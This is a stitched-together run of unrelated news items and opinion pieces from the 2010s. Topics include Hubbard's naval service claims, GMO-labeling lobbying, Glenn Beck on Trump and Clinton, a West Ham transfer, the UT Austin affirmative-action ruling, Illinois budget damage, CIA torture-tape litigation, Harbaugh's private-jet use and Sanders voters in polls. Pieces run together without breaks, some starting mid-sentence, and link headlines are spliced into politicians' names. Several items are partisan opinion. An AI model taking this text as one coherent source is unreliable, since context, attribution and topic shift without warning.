Pacific for a test cruise, Hubbard said he encountered two Japanese submarines. He dropped 37 depth charges during the 55 consecutive hours he said he monitored the subs, and summoned additional ships and aircraft into the fight. He claimed to have so severely crippled the submarines that the only trace remaining of either was a thin carpet of oil on the ocean's surface. "This vessel wishes no credit for itself," Hubbard stated in a report of the incident. "It was built to hunt submarines. Its people were trained to hunt submarines." And no credit Hubbard got. "An analysis of all reports convinces me that there was no submarine in the area," wrote the commander of the Northwest Sea Frontier after an investigation.
Hubbard next continued down the coast, where he anchored off the Coronado Islands just south of San Diego. To test his ship's guns, he ordered target practice directed at the uninhabited Mexican islands, prompting the government of that neutral country to complain to U.S. officials. A Navy board of inquiry determined that Hubbard had "disregarded orders" both by conducting gunnery practice and by anchoring in Mexican waters. A letter of admonition was placed in Hubbard's military file which stated "that more drastic disciplinary action... would have been taken under normal and peacetime conditions." During his purportedly illustrious military career, Hubbard claimed to have been awarded at least 21 medals and decorations. But records state that he actually earned four during his Naval service: the American Defense Service Medal, the American Campaign Medal, the Asiatic-Pacific Campaign Medal and the World War II Victory Medal, which was given to all wartime servicemen. One of the medals to which Hubbard staked claim was the Purple Heart, bestowed upon wounded servicemen. Hubbard maintained that he was "crippled" and "blinded" in the war. Early biographies issued by Scientology say that he was "flown home in the late spring of 1942 in the secretary of the Navy's private plane as the first U.S.-returned casualty from the Far East." Thomas Moulton, second in command on PC 815, said Hubbard once told of being machine-gunned across the back near the Dutch East Indies. On another occasion, Moulton testified during the 1984 Scientology lawsuit, Hubbard said his eyes had been damaged by the flash of a large-caliber gun. Hubbard himself, in a tape-recorded lecture, said his eyes were injured when he had "a bomb go off in my face." These injury claims are significant because Hubbard said he cured himself through techniques that would later form the tenets of Scientology and Dianetics. Military records, however, reveal that he was never wounded or injured in combat, and was never awarded a Purple Heart.
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MORE:Now that noble organization, which represents such food-industry giants as PepsiCo and Kraft, has a new trick up its sleeve: a so-called federal solution. Admittedly, the food industry ideally should not have to follow 50 states’ different laws dictating how products should be labeled. But the GMA’s way out of this conundrum is to call for a voluntary scheme that would at the same time wipe out the ability of states to require labeling — a legal concept known as pre-emption. In other words, the industry’s federal solution would make it illegal for states to pass laws requiring GMO labeling, and at the national level, there will still be no mandatory law.
This momentum is becoming a very expensive headache for the biotechnology and processed-food industries. Opposing the two ballot initiatives in California and Washington cost corporations more than $67 million. Never mind how in the Washington battle, food companies tried to illegally launder their campaign donations through their lobbying group, the Grocery Manufacturers Association (GMA) and got caught in the act. (The case has yet to go to trial, but the GMA has filed a countersuit claiming the law is invalid.)
Meanwhile, high-profile, close-margin voter-initiative losses in California in 2012 and Washington state last year raised much awareness and emboldened similar efforts to move propositions forward in Oregon and Colorado this year. Legislatures in several states — including Vermont, New Hampshire and New York — are also currently weighing GMO labeling bills.
Last year Connecticut overcame industry lobbying and became the first state in the nation to enact such a law, and on Jan. 9, Maine’s governor signed that state’s GMO-labeling bill into law. Unfortunately, after some legislative tussling, both measures have significant so-called trigger clauses that require other states to enact similar policies before the laws can take effect.
Those advocating for improvements to our broken food system have, of late, had little to crow about. However, in recent years, a growing movement to label foods made with genetically modified organisms (GMOs) has begun showing real promise. While the food industry continues to make unsubstantiated and deceptive claims that GMO labels would be confusing or increase food costs, polls show that more than 90 percent of Americans favor GMO labeling. And the states are listening. At least 20 states have proposed legislation requiring that genetically engineered foods be labeled.
The GMA’s complete scheme to stop the progress of labeling laws in the states (and the hole in their pockets) was recently revealed in an internal document made public by Politico. Included on the lobbyists’ audacious wish list for Congress and the Food and Drug Administration was a self-certifying “mandatory premarket notification” scheme, in which companies would drop a note to the FDA informing it of any new GMO products to be released for public consumption; if the FDA does not object within 90 days, then food companies could claim the product is government approved. This is similar to Facebook’s claim that users have agreed to its data-collection policy simply by signing up. The arrangement is also similar to the current “generally recognized as safe” self-certification process, in which the FDA allows food makers to claim that new food additives are safe, without government confirmation — an industry-friendly system that has been sharply criticized.
If the GMA were to get its way, not only would food companies be able to make claims about the “absence of bioengineered ingredients” in its products (something that companies are already doing through third-party certifiers such as the Non-GMO Project ), but also the FDA would develop corporate-friendly regulations on GMO-free claims that would allow a company to call products from cows fed genetically modified grains GMO-free.
Also on the industry’s shopping list: an FDA-developed definition for the “natural” label on foods. This issue has become so contentious that it has already led to numerous legal battles. Recently the FDA explicitly declined a court request to decide if food companies can use the natural label on products containing GMOs. (Apparently it is not an agency priority.) In an effort to curtail further litigation, lobbyists want the FDA to allow the industry to engage in this deception. But how can a technology novel enough to get patent protection also be natural?
Details aside, the true agenda behind this ambitious proposal is to put an end to the copious amounts of negative publicity that food makers have been enduring as Americans increasingly wake up to what they are eating. (One of the lobbyists’ ideas was that GMOs be renamed “bioengineered foods,” presumably because that phrase polls better among shoppers.) Especially harmful to Big Food’s reputation has been the revelation that many beloved organic- and natural-food brands are, in fact, owned by massive food conglomerates that are funding anti-GMO-labeling campaigns. For example, General Mills took a lot of heat when consumers of its organic Cascadian Farms brand realized the parent company was funding the opposition during the California initiative. Similarly, Coca-Cola is the target of a consumer boycott of the company’s healthier brands such as Honest Tea and Odwalla over its continued opposition to GMO labeling.
While a federal solution may be necessary, the GMA proposal is a far cry from what consumers are demanding and only shows the food industry’s desperation. If the industry gets its way, shoppers will remain in the dark about which foods contain GMOs. Meanwhile, the state-level policy efforts should continue to move forward. More states must flex their political muscle to remind federal leaders that Americans want transparency about the food they eat. Now that the junk-food lobby’s true agenda has been revealed, federal representatives are on notice: Your constituents will be holding you accountable to ensure that this democracy-killing power grab does not come to fruition.Conservative pundit Glenn Beck said on Monday that he considered voting for Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE but couldn’t bring himself to do it.
“I will tell you that it has crossed my mind,” he said in an interview on HBO’s “Vice News Tonight.”
“To vote for [Donald] Trump?” the interviewer asked.
“To vote for Hillary,” Beck responded. “It has crossed my mind. I think Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE is so unstable, so dangerous, that it has crossed my mind.”
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“I can’t do it, because she’s just a horse of a different color,” he added, saying that he had never considered voting for Trump, the Republican presidential nominee.
Beck said that he would vote for Darrell Castle, the Constitution Party presidential nominee.
Beck also wrote in a Facebook post on Saturday that standing against Trump and electing Clinton, the Democratic nominee, would be a “moral, ethical choice.”
“If the consequence of standing against Trump and for principles is indeed the election of Hillary Clinton, so be it. At least it is a moral, ethical choice,” Beck wrote the day after video surfaced of Trump bragging in 2005 that his celebrity allowed him to get away with groping women.
The post was in response to Sen. Mike Lee Michael (Mike) Shumway LeePush to end U.S. support for Saudi war hits Senate setback The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times MORE (R-Utah) calling on Trump to resign from the ticket. Beck defended Lee, saying the senator has reached the point “where the moral compromise his party is asking him to make is simply beyond what is acceptable.”
“If she is elected, the world does not end,” Beck wrote. “Once elected, Hillary can be fought. Her tactics are blatant and juvenile, and battling her by means of political and procedural maneuvering or through the media, through public marches and online articles, all of that will be moral, worthy of man of principal.”
“Her nominees can be blocked, her proposed laws voted down,” Beck continued. “The alternative does not offer a moral person the same opportunity. If one helps to elect an immoral man to the highest office, then one is merely validating his immorality, lewdness, and depravity.”
Since the tape’s release, a number of Republicans have either revoked their endorsements of Trump, like Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.), or have called on him to drop out of the race.
Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) has said that he will no longer defend Trump but still supports him.Filed: Monday, 16th July 2012
By: Staff Writer
Modibo Maiga has arrived in London to rubber-stamp his move to West Ham. The Malian forward, who is set to cost United up to £7million arrived in the capital late this afternoon before being whisked away to a hotel where he will be staying ahead of meeting with Hammers chiefs and undergoing a medical.
The 24-year-old forward, who currently plays for French Ligue 1 club Sochaux began his footballing career in his home country with Stade Malien before moving to Moroccan club Raja CA Casablanca in 2004.
Having been part of the Arab Champions League-winning side when Casablanca beat Egyptian outfit ENPPI Club 2-1 in 2006, Maiga moved to France when Le Mans came calling in 2007.
Following three years with MUC 72, he was signed by current club Sochaux, for whom he scored 15 goals in his first season.
A year ago last month Maiga looked set to move to Newcastle but he eventually failed a medical ahead of a £7million deal. Having returned to France he went on to score another 15 goals last season as he helped Les Lionceaux to fifth place in Ligue 1.
* Image courtesy of journaldumali.com
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by Joe
12:36PM 18th Jul 2012
''Not sure about this one... I can only hope. Apparently he should have signed for Newcastle in January but didnt because of a dodgy knee. Sounds familiar to a certain Demba Ba, surely we cant pull off that sort of coup twice... Oohh please!''
by J-Mo
04:08PM 17th Jul 2012
''The lad's stats at Sochaux look decent enough but as with many players it remains to be seen if he could adapt to the PL style. £7m is quite a gamble for us and frankly I'd rather see our resources used to attract a proven PL goalscorer to Upton Park, the papers have linked us to Carroll and Berbatov who would both tick this box but a certain Michael Owen is available on a free and I think he would be a better option to have on the bench.''
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Disqus(Reuters) - A federal appeals court upheld the use of race by University of Texas at Austin in undergraduate admissions, a victory for affirmative action proponents, one year after the U.S. Supreme Court ordered closer scrutiny of the school’s practices.
Students calling for diversity protest outside the U.S. Supreme Court in Washington October 10, 2012. REUTERS/Jose Luis Magana
By a 2-1 vote, a panel of the 5th U.S. Circuit Court of Appeals on Tuesday said the state’s flagship university had justified its limited use of race to achieve diversity, given a lack of workable alternatives.
A contrary ruling “would hobble the richness of the educational experience,” Judge Patrick Higginbotham wrote for the majority. “University education is more the shaping of lives than the filling of heads with facts.”
Opponents pledged to appeal, which could give the Supreme Court a chance to again review the case in its next term.
In June 2013, the Supreme Court did not directly rule on the program’s constitutionality but ordered the 5th Circuit, which sits in New Orleans, to scrutinize it more closely.
Justice Anthony Kennedy wrote for a 7-1 majority that courts must “verify that it is necessary for a university to use race to achieve the educational benefits of diversity.” UT Austin admits most freshmen through a program that guarantees admission to students in roughly the top 10 percent of their high school classes. It uses other “holistic” factors, including race, to admit the remainder.
While the program has resulted in significant racial and ethnic diversity, the percentages of black and Hispanic students remain lower than in Texas’ overall population.
EXACTING REVIEW
Higginbotham said the holistic review met the exacting scrutiny required by the Supreme Court, and was nearly indistinguishable from a University of Michigan Law School program that the Supreme Court narrowly upheld in 2003.
“A variety of perspectives, that is differences in life experiences, is a distinct and valued element of diversity,” Higginbotham wrote.
Judge Emilio Garza dissented, saying the university failed to show its program was narrowly tailored and “has not defined its diversity goal in any meaningful way.”
Tuesday’s decision came three months after the Supreme Court upheld a voter-approved Michigan law banning racial preferences in admissions to state colleges.
The Texas case was brought by Abigail Fisher, who said UT Austin denied her admission in favor of lesser-qualified minorities.
She later graduated from Louisiana State University but, she said, stayed in the case to help others in similar positions.
Bert Rein, a lawyer for Fisher, did not immediately respond to requests for comment.
A group led by Edward Blum, a driving force behind the opposition to the university’s program, released a statement in which Fisher expressed disappointment. Blum, a Maine resident, leads the Project on Fair Representation, whose website says it devotes “all of its efforts to influencing jurisprudence, public policy, and public attitudes regarding race and ethnicity.”
Abigail Fisher (R), a suburban Houston student who asserted she was wrongly rejected by the University of Texas at Austin while minority students with similar grades and test scores were admitted thanks to the admissions policy, and her father Richard Fisher (C) stand by as Edward Blum, director of the Project on Fair Representation, speaks at a news conference in Washington, June 24, 2013. REUTERS/Jonathan Ernst
“I remain committed to continuing this lawsuit even if it means we appeal to the Supreme Court once again,” Fisher said in the statement.
University President Bill Powers welcomed the decision, saying it encourages the exchange of ideas and thoughts “when students who are diverse in all regards come together in the classroom, at campus events and in all aspects of campus life.”
The case is Fisher v. University of Texas at Austin et al, 5th U.S. Circuit Court of Appeals, No. 09-50822.This video is brought to you by CoinIdol.com in partnership with Koles Coin News |
they could open their doors on time for classes in the fall and keep them open through the academic year.
The temporary budget gives Chicago Public Schools just over $11 billion in state and federal dollars, which is $400 million more than it would have otherwise.
Some of those funds include $205 million toward CPS teachers' pensions, but the provision will only go into effect if lawmakers pass some form of pension reform by yearend.
The short-term deal does nothing to address the shortfall in the state's other public-employee pension systems.
Chicago officials still have to reach a contract agreement with teachers.
Social safety net programs
In June, the United Way of Illinois released a survey of 429 agencies that have contracts with the state. Nearly two-thirds have had to cut programs because they weren't paid by the state, affecting almost 1 million people. These agencies provide a number of services, including mental health treatment, childhood education and substance-abuse help.
A backlog of $100 million in overdue bills led more than five dozen social service agencies to file a lawsuit against Gov. Rauner. Many agencies that are part of the unprecedented lawsuit, representing all parts of the state, have already laid off employees and/or cut services.
A judge later dismissed the lawsuit, saying "the issue belongs in a higher court." A spokeswoman for Pay Now Illinois, the coalition of 82 groups involved in the suit, said it will consider an appeal.
More than 800 private companies doing work for the Department of Human Services haven't been paid because of the budget stalemate. As of July 1, 2015, the department owed $168 million in overdue bills.
Health care
Hospitals in Illinois are finding it challenging to keep running. Executives from hospital networks big and small say they are reeling from the state budget crisis, which is tying up crucial reimbursements.
*Downers Grove-based Advocate Health Care, the largest hospital chain in Illinois, has a stack of bills that has climbed to $81 million. More than $20 million of it is owed for taking care of state employees. The state isn't paying health care bills of its own employees or retirees either.
*The state owes its 13 managed care companies at least $570 million, according to the Illinois Department of Healthcare and Family Services.
*University of Chicago Medicine, one of the biggest Medicaid providers in the state, is waiting for at least $72 million from the state for reimbursements.
*NorthShore University HealthSystem, an affluent four-hospital network based in Evanston, is running at least a $32 million tab.
*Swedish Covenant Hospital, a community facility in the Lincoln Square neighborhood, has at least $10 million in outstanding bills.
*Doctors at Pediatric Health Associates, one of the largest private providers of Medicaid managed care in DuPage County are having to turn families away because they're not getting paid by the state to treat newborns.
*University of Illinois Hospital & Health Sciences System, one of the largest providers for low-income people in the state, is waiting for $67 million in payments from six of the state's 13 managed care companies it has contracts with. It says a "phenomenal" number of claims are being denied.
*AMITA Health, a network of nine hospitals in the western suburbs, has a backlog of about $36 million. Almost $21.8 million is due from managed-care companies. AMITA has hired 12 full-time employees to reconcile payment issues, including the pile of denials from insurers.
*Norwegian American Hospital in Humboldt Park on the West Side is waiting for about $4.3 million from insurers on bills that are about 125 days late. The hospital is among those most dependent on the state funding for revenue; about three-fourths of patients are on Medicaid.
Physicians and hospitals are not being paid by the state for their services to retired state employees.
More debt
Much of the spending money that the temporary budget covers is on the state's collective credit card, which adds to the already more than $7 billion pile of unpaid bills. That pile is stacked so far back that some of the bills could be turned over to the federal government's collection agency—the Treasury Department. These delinquencies include $3 million owed to the FBI for processing fingerprints and conducting background checks for professional licenses and permits.
The income tax rate may have to double to dig us out of the hole, as taxpayers pick up the state's slack. In January, the state's chief fiscal officer, Illinois Comptroller Leslie Munger, delivered a grim review of the state's financial condition. The gist: Illinois is on track to run up its backlog of unpaid bills beyond the worst of the Great Recession.
Last year lottery winners sued the state for withholding their winnings due to the lack of a budget.
The Lottery couldn't pay its winners. Officials warned in October that anyone winning over $600 wouldn't get the money right away because the account used to pay those winnings was dwindling. That came after an announcement in August that payouts over $25,000 were on hold because they didn't have the authority to cut checks that big.
Illinois' spending blueprint is still woefully out of whack, and the toughest questions about what to cut and where to find new revenue have yet to be answered.
Tourism promotion is also taking a hit, with losses to hotels, restaurants and other visitor-dependent outlets. Choose Chicago, the city's promotion agency, has seen almost all its marketing budget vanish. Statewide hotel/motel taxes dropped 3.1 percent in the first two months of the year.Google's ability to look into the future of political contests just notched another win: New Hampshire.
Searches of presidential candidates conducted by Google users in New Hampshire on Feb. 9 corresponded closely with the actual results of the state's primary voters.
The top searched Democratic candidate was Bernie Sanders, who won with 60 percent of vote in New Hampshire, according to the Associated Press. He got 72 percent of the searches, according to Google, while Hillary Clinton got 28 percent of the queries and 38 percent of the vote.
The top searched Republican candidate was Donald Trump, who won with 35 percent of the vote. On Google, he received 41 percent of the searches an hour before the polls closed, according to the search giant. No. 2 was John Kasich, who got both 16 percent of the votes and searches.
Ted Cruz took third with 12 percent of the votes and 15 percent of the searches. The battle between Jeb Bush and Marco Rubio was close online and in real life.
While Bush took fourth place at the polls, winning 11 percent of the vote, online he got just 7 percent of the searches. Meanwhile, Rubio got 10 percent of the searches while only 10.6 percent of the vote.
This is the first U.S. presidential election in which Google is releasing the real-time results of trending search queries. Previously, the Alphabet Inc. unit had released aggregated search data with a delay of a few days.
Even before news outlets began looking to the data to judge how a candidate was doing during a debate, there have been signs that the data was a window into a nation's collective curiosity.
In the weeks leading up to Canada's elections in October, Justin Trudeau became the top searched leader in 50 percent of the country's ridings. His party went on to win with 54 percent of the vote.
Similarly, Google said in May that search trends showedwide interest in David Cameron's Conservative Party while polls were showing the race was neck-and-neck. Ultimately, Cameron's party won in an upset.
While some academics have questioned whether Google's trending data can predict anything, Nikos Askitas, director of data and technology at the Institute for the Study of Labor in Germany, says that in some instances the search results may be a good indicator. He studied Google trends each hour during July's Greek referendum on the euro and found it accurately forecast the results—even when exit polls were unclear.
"It was easy," Askitas said. "The event was intense so simple tracking yes- sayers and no-sayers sufficed. In the U.S. elections, I am planning to take a look at it but it is not clear whether one can find such a strategy."
Google remains coy about the power of its ability to look into the future. "We don’t make predictions but I would say that the data is really interesting," Simon Rogers, data editor of Google's News Lab team, said last year in an interview. "The data gives you incredible insight to the way people are thinking."For those who may not have seen the news, the bigots at National Organization for Marriage--the group most prominently opposed to marriage equality and the main sponsors of Proposition 8 in California and Question 1 in Maine--have been on tour. They've been going around the country in an archetypical bus tour trying to promote their special brand of outmoded discrimination. As could have been expected, the tour has been an epic boatload of fail. At many stops of the tour, marriage equality supporters have equaled or outnumbered those who show up to hate on gay people.
NOM has been tweeting statements from spokesman Brian Brown during the course of the tour--and while a variety of them have been offensive in a lot of ways, this one probably takes the cake:
“It is 1972 for marriage. This is the same as the time as before Roe v. Wade.... What if William Wilberforce listened to those telling him not to bring his religion into the public square?”
Let's get the obvious out of the way. William Wilberforce was a British member of Parliament who was best known for his religiously based opposition to the slave trade, and was instrumental in outlawing slavery throughout the British empire in the mid-19th century. And in invoking the ghost of William Wilberforce, NOM has just compared opposition to bigotry against gays to...supporting the slave trade. Now it's not quite full Godwin, but by the time you're talking about the slave trade, you're getting pretty damned close.
That's bad enough. But what's actually just as interesting is in this little snippet, Brian Brown is making an argument that is expressly theocratic. By devolving to a rationale that is based simply on religion in the public square, NOM is essentially admitting that theocratic values are the only reason to oppose marriage equality (truth be told, if you had seen their closing arguments in Perry v. Schwarzenegger, such an admission should come as no surprise).
But when it comes down to it, what Brian Brown is actually doing here is making a unwitting yet fundamental attack on the value of Christian morality. The implication of Brown's statement regarding Wilberforce's motivations is that if Wilberforce had not been so religiously inclined, he would not have pursued his opposition to the slave trade. Does Brian Brown really think that your average Christian believes that slavery is wrong because God said so, and that because in their view God says that gay marriage is bad, it has to be opposed with equal vigor? Is Brian Brown really suggesting that regular believers are so rigidly doctrinaire that they see no nuance?
If anyone needs a lesson in Christian values, it's obviously Brian Brown.A month ago, I argued that the CIA was deploying a waterboarding "shiny object" strategy in its attempt to hide the details of the torture program that they otherwise eliminated by destroying the torture tapes–particularly, that torture started before OLC approved it, and that Abu Zubaydah had cooperated without torture, meaning their entire premise for torture was false.
The CIA was hoping–it appears–that its narrative that the torture tapes portrayed waterboarding, and that’s the big reason they were sensitive, would distract Hellerstein and the ACLU and therefore allow them to hide a slew of other information: the success of the FBI before Abu Zubaydah’s torture started, the torture that started before the OLC opinions were written (and the White House’s intimate involvement in approving the earlier torture), the role of contractors in the torture, the quality of intelligence they got using persuasive interrogation as compared to the quality of intelligence they got using torture, whatever happened in al-Nashiri’s waterboarding that led them to stop and even admit it didn’t work with him, whatever happened to Abu Zubaydah around October 11, 2002 that led them to take a picture of him, and the Inspector General’s reconstruction of the Abu Zubaydah’s interrogation (which should have been turned over in the first FOIA). SHINY OBJECT!! WATERBOARDING!!!
They submitted a filing in the case today that sticks with that same shiny object strategy. Of particular note, there’s a long paragraph that seems to be written for Mary personally. Mary always reminds us that you can’t use classification to hide an example of crime. The CIA responds, as if to Mary, that they couldn’t be hiding a crime because they already revealed all this stuff.
To the extent that plaintiffs argue that the intelligence methods in these documents are illegal and outside the scope of the agency’s authority, and thus are not properly classified, the interrogation and detention methods addressed in the documents were, until January 2009, within the CIA’s authority. See Executive Order 13491, 74 Fed. Reg. 4,893 (Jan. 22, 2009) (terminating CIA terrorist and detention interrogation program). Moreover, Section 1.7(a) of the Executive Order does not bar the Government from classifying information that might contain evidence of illegality, but rather bars the Government from classifying otherwise unclassified information “in order to”— i.e., for the purpose of—concealing violations of law. 68 Fed. Reg. at 15318. Here, the details of the EITs have already been released in the context of the OLC memoranda. Thus, the CIA’s classification of these operational documents was not intended to conceal any illegal activity, as the activity itself has already been disclosed.
They made this argument even after repeating, several times, Leon Panetta’s all-but admission that the techniques in practice exceeded the techniques as authorized.
As the Court knows, on April 16, 2009, the President of the United States declassified and released in large part Department of Justice, [OLC] memoranda analyzing the legality of specific [EITs]. As the Court also knows, some of the operational documents currently at issue contain descriptions of EITs being applied during specific overseas interrogations. These descriptions, however, are of EITs as applied in actual operations, and are of a qualitatively different
nature that then EIT descriptions in the abstract contained in the OLC memoranda. As discussed below and in my classified declaration, I have determined that information... concerning application of the EITs must continued to be classified TOP SECRET, and withheld from disclosure in its entirety under FOIA Exemptions b(1) and b(3).
That of course doesn’t make sense! They can’t logically argue that the techniques have already been exposed, and therefore obviously they’re not claiming they’re still classified to hide evidence of a crime, but then say they have to keep the techniques as practiced hidden, because …
Because, we all know, the techniques as practiced are evidence of a crime.
And then, of course, there’s the problem of timing and the representations made in the OLC memos. If the documents in question show–as they almost certainly do–that CIA was engaging in torture before the OLC memos were written, or if the CIA documents show–as they almost certainly do–that the claims made in the OLC memos were false, then the fact that the OLC memos later went on to approve the torture based on false assumptions means that their claim that this was authorized until January 2009 fall apart temporally (it wasn’t approved yet) and logically (and not given what we know about Abu Zubaydah).
The brief then goes onto list a bunch of cases in which judges ruled there was no evidence that the agency was trying to hide a crime, and conclude, all pat like, that given the presumption, generally, of good faith, there’s no evidence in this case that CIA had an improper motive for keeping this stuff classified.
For all of these reasons, there is no evidence that the CIA had an improper motive in classifying the operational documents currently at issue before the Court. Accordingly, the CIA properly withheld these operational documents in full under Exemption 1.
As a gentle reminder, this litigation is about whether the CIA should be held in contempt because they destroyed the videos showing these activities!! Destruction that a Special Counsel has spent 18 months, thus far, investigating.
But, nonetheless, the CIA insists that there’s no bit of evidence that the CIA is trying to hide a crime.
This whole argument is falling apart, and that’s even before ACLU picks it apart in their response brief (due in a couple of weeks).
But at least they responded (ha!) to Mary’s biggest objection.Glenn Beck‘s TheBlaze is crumbling and the staff’s mood is somber, according to rival website The Huffington Post.
HuffPost reported that “a lack of editorial direction, staff attrition and internal discord” are reasons for the site’s troubles, and noted that TheBlaze trimmed its editorial employees from 25 to a mere six, who had their health benefits reduced and now work from home.
TheBlaze did not immediately respond to TheWrap’s request for additional comment.
Also Read: Glenn Beck on Roger Ailes: 'He Has Become Bill Cosby'
“The few people who are still left are looking for an exit because they know TheBlaze is over,” a source told HuffPost. “They haven’t told us straight up that they’re done with us, but all the signs point to it, and they’re not replacing people who are laid off or get out.”
TheBlaze is a conservative news organization that Beck launched in 2010. The left-leaning HuffPost said it was launched to “serve as the conservative counterpart to The Huffington Post.”
Also Read: Glenn Beck Slams You-Know-Who in Megyn Kelly Letter
TheBlaze describes itself as having a “mission of restoring truth to the important stories you care about, our team has grown to include journalists, editors, video producers and more with offices around the world.”
The HuffPost noted that TheBlaze racked up 31.6 million unique visitors in October 2014, but only 7.8 million unique visitors in September 2016, citing analytics site Quantcast.CLOSE Michigan coach's contract requires the school provide him with private aircraft time for recruiting. USA TODAY Sports
Michigan Wolverines head coach Jim Harbaugh looks on prior to the Citrus Bowl. (Photo11: Reinhold Matay, USA TODAY Sports)
Jim Harbaugh’s contract with the University of Michigan requires the school to provide him with private aircraft time “as reasonable and necessary for all recruiting purposes.” During a 12-day stretch in his first month on the job in 2015, Harbaugh and his staff’s jet travels amounted to more than $10,000 a day in value, university records show.
The documents were provided Thursday in response to a public records request USA TODAY Sports filed in August.
Records for the recruiting season recently completed are not yet available. Harbaugh and his staff put together a highly regarded class that includes players from 13 states, including California, New Jersey, Florida, Georgia and Alabama.
The 2015 records give a glimpse into the scramble that Harbaugh and his staff made to finalize their first recruiting class during the weeks before national signing day.
Traveling alone or being accompanied by as many as three assistants at a time, Harbaugh racked up 18 jet-travel legs from Jan. 19 through Jan. 30. There were another five “dead” legs involving no passengers, and an assistant coach had one solo travel leg. There was only day during that period for which no private-jet trips were logged.
Altogether, the total value came to nearly $136,000.
That amount is almost the entire difference between what Michigan reported spending on football recruiting during its 2013-14 fiscal year versus its 2014-15 fiscal year. In 2013-14, it spent $584,721, according to the school’s annual financial report to the NCAA. In 2014-15, it spent $739,337 – a year-over-year increase of more than 26%.
In addition, the documents show that Harbaugh took advantage of another perk provided under his seven-year contract, which included compensation of $5 million and a $2 million signing bonus. The university agreed to reimburse Harbaugh for up to $30,000 in legal fees incurred in negotiating the deal, and that was the amount his attorney, Jeffrey S. Klein, invoiced the school for in January 2015.
The contract of Harbaugh’s predecessor, Brady Hoke, did not specifically address travel for recruiting purpose. Hoke’s agreement required the university to provide an annual allowance of up to $100,000 for charter air travel expenses that could be used for business travel only. Hoke and Harbaugh both had provisions in their deals that required the university to provide them first-class airfare when traveling for program-related business
Harbaugh’s contract also includes a provision under which he is annually entitled to 25 hours of university-paid flight time “on a private aircraft capable of traveling non-stop in the continental United States.” Any unused personal hours from one year can be carried forward for up to one additional year.
Harbaugh used a little more than $32,000 worth of this personal jet time between his hiring date – Dec. 29, 2014 – and Aug. 21, 2015, the date on which USA TODAY filed a records request asking the university to provide information about all of Harbaugh’s use of private aircraft for recruiting and personal purposes through that date.
Citing exemptions to public records allowed under the Michigan Freedom of Information Act, the university interpreted that to mean it could shield information that “could lead to the identification of prospective student-athletes” or “would constitute an unwarranted invasion of an individual’s privacy.” For the recruiting-related flights, Michigan refused to disclose all flight destinations other than Detroit and Grand Rapids, Mich., as well as the lengths of the flights and the cost of each individual leg.
For the four personal flight legs, all information was redacted except for the type of aircraft and the total cost.So far since they started their bye week, the Minnesota Vikings have already made one trade, and there are rumors swirling around that they could be looking to make another one.
Have heard the #Vikings have solicited more than one team about interest in Patterson. — Benjamin Allbright (@AllbrightNFL) October 6, 2015
Allbright, obviously, is talking about Cordarrelle Patterson, who stock has dropped harder and more quickly than Enron. Patterson was one of the team's three first-round picks in the 2013 NFL Draft (along with Sharrif Floyd and Xavier Rhodes), and after a brilliant finish to his rookie campaign, has been an afterthought in the Vikings' offense. Last season, he had just 33 catches for 384 yards and one touchdown (along with one rushing touchdown), and this season he's just disappeared, accumulating just two catches for ten yards in the first four weeks of the season.
As a rookie, he was also one of the league's most dangerous kick returners, but at this point it doesn't appear that he's good at that any more, either. He's returned seven kicks this year and averaged just 24.3 yards, with his longest return being just 33. Patterson reportedly spent time this off-season getting himself into outstanding shape, but chose not to work out with the mysterious "veteran mentor" that head coach Mike Zimmer had set up for him during the off-season.
Patterson was already buried on the depth chart, but the emergence of rookie Stefon Diggs...who could also slot right into Patterson's job as a kick returner, if necessary...this past Sunday in Denver when both Charles Johnson and Jarius Wright were hobbled may have officially put him underground with the Vikings.
No word on which teams may be interested in Patterson's services or what level of compensation the team might be looking at, but there's still plenty of time for something to happen if it's going to.One of the big questions heading into the Democratic National Convention late last month was whether Hillary Clinton could rally Bernie Sanders supporters to her side. Before the convention, many Sanders supporters said they would support Clinton in a two-way matchup against Donald Trump, but when pollsters offered them third-party candidates as an option, they abandoned her.
Then, on the first night of the convention, Sanders gave his big speech urging his voters to support Clinton, and we can now see that the convention did help persuade some Sanders voters to switch. But about a third of Sanders’s voters are undecided or still going with a third-party candidate when given the choice.
Before we get to all the data, let’s be clear about what we’re discussing: The Sanders holdouts aren’t that large a group. If they were forced to choose only between Clinton and Trump, the vast majority would choose Clinton and yet they would add only about 1 percentage point to her overall margin over Trump, according to current polls. That could matter in a close election, but the election isn’t looking all that close at the moment.
The conventions did move some Sanders voters to Clinton. In national polls taken right before the conventions, Clinton was winning around half of Sanders supporters when Gary Johnson and Jill Stein were included as an option — 57 percent (per CNN and Marist) and 44 percent (per YouGov). Now, Clinton is at 69 percent (CNN), 65 percent (Marist) and 49 percent (YouGov).
Without third-party candidates, Clinton was already doing much better with Bernie’s fans. Still, the convention helped: She moved from 79 percent up to 91 percent among Sanders supporters in CNN’s polls, 68 percent to 75 percent per Marist, and 59 percent to 65 percent in YouGov’s surveys.
But the sizable portion of Sanders supporters defecting from Clinton when given other options could still be a problem for the Clinton campaign if the election tightens.
WITH THIRD PARTY WITHOUT THIRD PARTY POLLSTER CLINTON TRUMP CLINTON TRUMP DIFF. IN CLINTON’S MARGIN CNN 69% 3% 91% 6% +19 Fox News 68 7 79 10 +8 Marist 65 5 75 6 +9 YouGov 49 9 65 14 +11 Average 63 6 78 9 +12 Sanders supporters are still more likely to back Clinton without third-party candidates All percentages are rounded. CNN, Marist and YouGov asked about Clinton, Johnson, Stein and Trump when third party candidates were included. Fox News only asked about Clinton, Johnson and Trump.
